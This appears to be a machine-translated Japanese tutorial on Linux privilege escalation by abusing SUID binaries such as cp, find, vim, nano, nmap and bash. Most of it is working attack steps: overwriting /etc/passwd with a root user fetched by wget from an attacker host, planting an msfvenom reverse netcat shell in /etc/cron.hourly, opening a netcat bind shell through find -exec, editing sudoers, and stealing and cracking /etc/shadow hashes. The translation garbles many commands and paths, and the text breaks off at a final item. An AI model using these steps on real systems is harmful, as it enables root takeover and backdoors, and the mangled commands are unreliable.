0x00基本
私たち全員が知っているように、すべてはLinuxのファイルとして存在します。これには、3つの実行操作を許可または制限する権限を持つディレクトリやデバイス(つまり、読み取り/書き込み/実行)が含まれます。したがって、ファイルに権限を設定する場合、許可されたLinuxユーザーの権限を知るか、3つの操作すべての許可を制限する必要があります。次の図を参照してください。
上記の図からわかるように、各ユーザーの組み合わせ許可を設定するために使用される最大数字数は7です。これは、読み取り(4)書き込み(2)と実行(1)操作の組み合わせです。たとえば、CHMOD 755が設定されている場合、RWXR-XR-Xに相当します。しかし、各ユーザーに特別なライセンスが与えられると、SUID、SGID、および粘着性のビットになります。他のビットが「4」に設定されると、SUID(ユーザーIDの設定)、BITS「2」がグループに設定されると、SGID(SETグループID)になり、他のユーザーがディレクトリにユーザーIDを使用してファイルを作成または削除することを許可され、そのディレクトリにスティッキービット「1」を設定します。
1. suidライセンスとは?
SUID:SETユーザーIDは、指定されたユーザーの許可を使用してユーザーがファイルを実行できるようにする許可タイプです。 SUID権限を持つこれらのファイルは、最高の権限で実行されます。ターゲットシステムに非ルートユーザーとしてアクセスし、SUIDビットがバイナリファイルで有効になっていることがわかり、これらのファイル/プログラム/コマンドをルートアクセス許可で実行できます。 SUIDの目的は、このプログラムを実行するときにリソースにアクセスするための対応する権限を持たないユーザーを許可することです。 PassWDは非常に明確な例です。 PassWDのこのフェーズの実行プロセスについて学びましょう。 SUIDを設定する方法は?基本的に、「番号」メソッドまたは「シンボル」メソッドを使用して、任意のファイルの権限を変更できます。その結果、下の図に示すように、特定のファイル/コマンドにより高い権限を持つ特別な実行権限を表して、SからXに置き換えられます。 SUIDはユーザーに対して有効になるため、操作の読み取り/書き込み/実行の前にビット4またはシンボルSが追加されます。
LS -ALを使用してファイルコマンドを実行して表示すると、上記の図に示すようにシンボルスモールが表示されます。つまり、ファイルのsuidビットが有効になり、ルートアクセス許可で実行できます。
2. SUIDは、通常のユーザーが許可を増やすのにどのように役立ちますか?
Linuxでは、SUIDビットが有効になっている場合、非ルートユーザーは、既存のバイナリとコマンドを使用してアクセスをルート化するために特権をアップグレードできます。 Bash、Cat、CP、Echo、Find、Less、More、Nano、nmap、Vimなど、コマンドなどのアクセスをアップグレードできる有名なLinux/Unix実行可能コマンドがいくつかあります。
例をよく見てみましょう。まず、SUDOグループユーザーではないユーザーを作成します。ここでは、1001のUIDとGID 1001のユーザー「Ignite」を追加したため、Igniteは非ルートユーザーです。
0x01「CP」コマンドを使用してアクセス許可をアップグレードします
データをコピーするために使用されるCPコマンドのSUIDビットが有効になっている場合、ルートアクセスを得るために許可エスカレーションを引き起こす可能性があります。たとえば、システム管理者がCPコマンドにSUID権限を提供したいとします。その後、以下の手順に従ってその位置と現在の権限を決定することができ、許可を変更してSUIDビットを有効にすることができます。
どのcp
ls -al /bin /cp
chmod u+s /bin /cp
一方、
1。最初の方法
は、通常の権限を使用してターゲットシステムにリモートでログインし、検索コマンドを渡してから、許可エスカレーション段階に転送します。 SSHを介して被害者のコンピューターに正常にログインし、非ルートユーザー端末にアクセスするとします。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。
上記の写真から、ファイルが多すぎることがわかりますが、 /bin /CPテキストに焦点を当てています。これで、 /etc /パスワードファイルをコピーしてユーザーリストを読み取ることができるためです。したがって、パスワードファイルをHTMLディレクトリにコピーします。
cp/etc/passwd/var/www/html
一方、OpenSSL PassWDを使用して新しいユーザーハックを生成し、パスワードをPass123に設定します
コピーしたファイルは、Webディレクトリの/var/www/htmのpasswdファイルです。そのため、Webブラウザーを介してアクセスしてダウンロードし、パスワードファイル全体をテキストファイルにコピーし、Root UID、GID、およびディレクトリ情報を使用して独自のユーザーを追加できます。
以前の記事では、OpenSSL PassWDユーティリティを使用してユーザー /ETC /PASSWDを追加する方法について説明しました。
Python HTTPサービスを別のサーバーで実行し、編集したPassWDファイルを被害者マシンに転送します。
python -m simplehttpserver 80
誰もが知っているように、 /TMPディレクトリにはすべてのファイルを作成または削除するためのすべての権限があるため、変更されたPassWDファイルはそのディレクトリの下にダウンロードされます。ダウンロードしたら、 /tmp /passwdファイルを /etc /passwdにコピーし、その結果、元のpasswdファイルを上書きします。
コマンドは次のとおりです。
CD /TMP
WGET http://192.168.1.108/passwd
cp passwd /etc /passwd
Tailコマンドの助けを借りて、追加したユーザーハックがユーザー情報を保存する /etc /passwdファイルであることを確認します。ルート特権を持つユーザーを追加したため、ルートディレクトリに移動します。
コマンドは次のとおりです。
テール-n 4/etc/passwd
su hack
おっと
ルートアクセス許可へのアップグレードを正常に確認できます。
2。 2番目の方法
同様に、CPコマンドのSUIDビットが有効になっている場合、ターゲットシステムにバックドアを送信することもできます。ここでは、MSFvenomコマンドを使用して、逆の接続のためにNATCATバックドアを生成します。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 r
次に、上記のコードをコピーして、Bashファイルを編集してコンテンツを貼り付けてから、raj.shとして保存されているターゲットシステムに転送する準備をします。
Linux Crontabユーティリティプランナーは、1時間ごと、毎日、毎週、毎月ファイルを実行しているため、raj.shが /etc /cron.hourlyディレクトリにコピーされていることがわかっています。 1時間後にRaj.shファイルを実行します。
コマンドは次のとおりです。
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
一方、NetCatのリスニングを新しい端末で開始し、時間の経過とともにターゲットシステムのルートアクセス許可リバース接続を提供します。したがって、SUIDビットがオンになっている場合、単一のCPコマンドが許可エスカレーションを実行する方法を確認します。 CPコマンドを使用して、独自の方法でルートアクセス許可を増やすことができます。
0x02 [ファンド]コマンドを使用してアクセス許可をアップグレードします
同様に、findコマンドのsuidビットがオンになっている場合、ルートアクセス許可をアップグレードできます。たとえば、(システム管理者はFindコマンドにSUID権限を提供したいと考えています。次に、以下の手順に従ってその位置と現在の権限を決定することができます。また、権限を変更してSUIDビットを有効にすることができます。
見つけるもの
ls -al/usr/bin/find
chmod u+s/usr/bin/find
ターゲットシステムを再度攻撃し、上記の図に記載されているように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリをSUID権限で列挙できます。
/-perm-u=s-typef2/dev/null find
したがって、ここでは、コマンドにsuidビットが有効になっていることがわかります。つまり、findコマンドのコマンドを実行できます。最初に、空のファイル「Raj」を作成し、以下に示すようにWoamiコマンドを実行します。
ラジをタッチします
raj -exec 'hoami' \;
攻撃者が/usr/bin/findのsuidビットを正常に列挙した場合、Netcat bin/bashシェルコマンドなどの悪意のあるコマンド、または許可エスカレーションのために重要なシステム情報を取得できます。
0x03Use Vim for Permission Enhancement
同様に、VIMエディターのSUIDビットがオンになっている場合、ルート許可にアップグレードできます。たとえば、システム管理者がVIMエディターにSUID権限を提供したいとします。その後、以下の手順に従ってその位置と現在の権限を決定することができ、許可を変更してSUIDビットを有効にすることができます。
コマンドは次のとおりです。
どのvim
ls -al/usr/bin/vim
ls -al/usr/bin/altontatives/vim
chmod u+s/usr/bin/vim.basic
次の図に示すように、vim.basicにソフトリンクします。
ターゲットシステムを再度攻撃し、上記の図に記載されているように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。
find/-perm -u=s -type f 2/dev/null
したがって、ここでは、/usr/bin/vim.basicに対してsuidビットが有効になっていることがわかっているため、sudoまたはrootユーザーがVIMを介して編集できるファイルを編集できます。
VIMにはSUIDアクセス許可があるため、IGNITEは最小許可を持つ非ルートユーザーであることがわかっているため、SUDOERSファイルを編集してユーザーの「IGNITE」のアクセス許可を変更できます。したがって、図に示すように、Visudoコマンドを入力してSudoersファイルを開き、所有者の許可をユーザーに承認します。
IGNITEALL=(All:All)All
次に、ルートディレクトリにアクセスしましょう。このトリックは、許可エスカレーションのために適切に使用することもできます。
次のコマンド:
sudo -l
sudo bash
id
0x04保存されたスクリプトを使用してアクセス許可をアップグレードします
システムまたはプログラムで呼ばれるあらゆる種類のスクリプトを取得するには、許可の昇格の可能性が最も高く、PHP、Python、またはC言語スクリプトのスクリプトになります。システム管理者がCスクリプトにSUID権限を提供したいと仮定すると、スクリプトは実行時にバッシュシェルを提供します。そこで、ここでは、bashシェルのシステムを呼び出して「asroot.c」として保存するCプログラムを書きます。
次に、 /biディレクトリにルートシェルディレクトリを作成し、asroot.cファイルをそのディレクトリにコピーし、GCCコンパイラを実行してコンパイルします。
mkdir /bin /rootshell
CD /BIN /ROOTSHELL
cp /home/raj/desktop/asroot.c。
ls
gcc asroot.c -oシェル
Chmod u+sシェル
ls -alシェル
次に、ターゲットシステムを再度攻撃し、Findコマンドを使用して、SUIDアクセス許可を持つバイナリファイルを識別します。
/-perm-u=s-typef2/dev/null find
そこで、ここでは、SUIDビットがバイナリファイル用にリストされていることを知り始めますが、/bin/rootshell/shellに焦点を当てます。 /bin /rootshellディレクトリに移動してスクリプト「シェル」を実行すると、以下に示すようにルートアクセスが取得されます。
0x06 Nanoを使用した許可強化
同様に、SUIDビットがオンの場合、ルートアクセス許可をアップグレードできます。たとえば、システム管理者がNANOエディターにSUID許可を提供したいとします。次に、以下の手順に従って、その位置と現在の権限を決定できます。また、SUIDビットを許可を変更することで有効にできます。
次のコマンド:
どのナノ
ls -al /bin /nano
chmod u+s /bin /nano
ターゲットシステムを再度攻撃し、上記のように特権エスカレーションフェーズを移動します。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。
/-perm-u=s-typef2/dev/null find
そこで、/bin/nanoに対してsuidビットが有効になっていることを知り始めます。次に、openssl passwdを使用して、openssl passwdを使用します。
一方、OpenSSL PassWDを使用して、新しいユーザー名デモとパスワード123を追加します
次に、NANOエディターを使用してPassWDファイルを開き、上記のように独自のユーザーを追加します。ここでは、暗号化されたパスワードを持つデモユーザーが被害者のシステムに作成されていることがわかります。
SUデモ
id
/bin /nanoに対してsuidビットが有効になっている場合、 /etc /shadowファイルからパスワードを盗むことができます。したがって、ターゲットマシンを攻撃した後、Nanoエディターでシャドウファイルを開き、ユーザーの暗号化されたパスワードをコピーします:Raj。
次に、上記のコードをテキストファイルに貼り付け、デスクトップにハッシュとして保存してから、以下に示すようにジョンを使用してクラックします。すでにユーザー名Rajとパスワード123が生成されており、Rajアカウントを介してターゲットシステムにログインしようとしています。
0x07その他のヒントのヒント
1.NMAPの古いバージョンのNMAP(2.02-5.21)には、ユーザーがシステムコマンドを実行できるインタラクティブがあります。権利を高める方法
nmap-インタラクティブ
次に、コマンドを実行します。
nmap!sh
SH-3.2#hoami
根
MSFのモジュールは次のとおりです。
Exploit/unix/local/setuid_nmap
2.ファインドチューチテスト
テスト-exec hoami \;
NCがサーバーにインストールされている場合、次のコマンドで直接聞くことができます。
テスト-exec netcat -lvp 5555 -e /bin /sh \;
次に、接続:
Netcat 192.168.1.100 5555
ルートシェルを取得できます
3.Vim/vi Open VimとPress ESC
:set shell=/bin/sh
:シェル
その後、コマンドを実行できます
4.Bashbash -P
bash-3.2#id
uid=1002(service)gid=1002(service)euid=0(root)groups=1002(service)
5.Less /etc /passwd
!/bin/sh
6。Moremore/home/pelle/myfile
!/bin/bash
7.cp
Recommended Comments